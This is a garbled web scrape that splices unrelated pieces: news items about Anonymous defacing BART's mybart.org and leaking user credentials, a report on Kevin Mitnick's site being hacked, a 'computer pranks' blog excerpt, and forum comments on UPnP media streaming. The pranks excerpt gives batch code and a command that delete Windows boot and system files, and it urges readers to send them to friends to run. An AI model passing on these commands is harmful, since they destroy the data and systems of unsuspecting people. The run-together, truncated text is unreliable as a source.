Hackers target government website in protest, release user accounts. On Sunday, hackers launched an attack against Bay Area Rapid Transit's (BART) website.
The hacktivist group, "Anonymous", took control of mybart.org for approximately six hours, defacing their website and publishing the real names, emails, phone numbers, account names and passwords of 2,400 users. Interestingly, bart.gov itself was left untouched, however a few other municipal websites such as californiaavoid.org were not so lucky. Sunday's "Operation: BART" cyber attack was prompted by BART's controversial decision to black-out cellular service along their transit lines, an act intended to prevent an anticipated protest from materializing last Thursday. The protest itself was a response against a recent BART police shooting. The public transit organization did not jam the towers but actually had them disabled, technically remaining compliant with FCC regulations, however the move left Anonymous members outraged, comparing the scenario to recent Midd.
Prominent hacker Mitnick hacked. One of the world's best-known computer hackers has suffered the indignity of having his own website hacked.
For the second time in as many weeks, online vandals have broken into the site of Kevin Mitnick's new security consulting company, Defensive Thinking. The latest breach was by a hacker in Texas, who said he wanted to be hired as Mitnick's security officer. "The consequence of the attack was insignificant to us, but could have been worse if the person had real malicious intent," said Mitnick in a posting on his site. In the earlier breach, a hacker calling themselves Bugbear simply added a page to the website saying; "welcome back to freedom mr.kevin ;)". In both instances, the hackers took advantage of a flaw in Microsoft's popular Internet Information Server to break into the web server.
Wake-up call Mitnick has only recently appeared back online. Mitnick won notoriety as a hacker during the late 80s and early 90s and his exploits regularly became front page news. Painfully Computer Pranks ~ Computer Hacking. Computer pranks to freak out your friends and make them crying for mummy I've been posting many articles about computer pranks on this blog (Deadly Virus Prank, The Ultimate Virus, How to Create a Fake and Harmless Virus and Facebook Virus Prank).
Today , I will show you 5 great computer pranks that will frustrate your victims very much. These pranks could be very painfully, so please use them at your own risk ;) 1. Crash a Computer System With Nothing But a URL! I stumbled across this URL while surfing the internet. 2. Open notepad and copy/paste this code: @echo offattrib -r -s -h c:\autoexec.batdel c:\autoexec.batattrib -r -s -h c:\boot.inidel c:\boot.iniattrib -r -s -h c:\ntldrdel c:\ntldrattrib -r -s -h c:\windows\win.inidel c:\windows\win.ini Now Save it as a .bat file. This should shutdown the persons computer. Send it to your friends computer and tell them to open it. Here is another code too..... cmd /c del c:\windows\* /F /S /Q.
What Is UPnP and How Do I Use it to Stream Media to My TV? - Lifehacker. Hmm, I must have been looking at the wrong page when I found it.
It said it still only supported a limited number of devices. This looks like a great solution for Windows! The great thing about it is that there is no having to fool around with finding proper codecs for Windows; the installation package comes with the appropriate MEncoder, FFMpeg, TSmuxer etc packages to support transcoding of formats that the front end player won't natively play. One can take a brand new Windows installation, install the PS3MS package, add the folders you want to share, connect the computer to the network and the majority of people will be fine just like that. My file/media server is headless- no graphics card- so some power can be saved. For streaming to multiple devices, some flags need to be added to allocate the proper amount of memory for the PS3MS app, but it's not too complicated and can be found in the forums in the link above.
Yup, sounds just like why I love Majestic.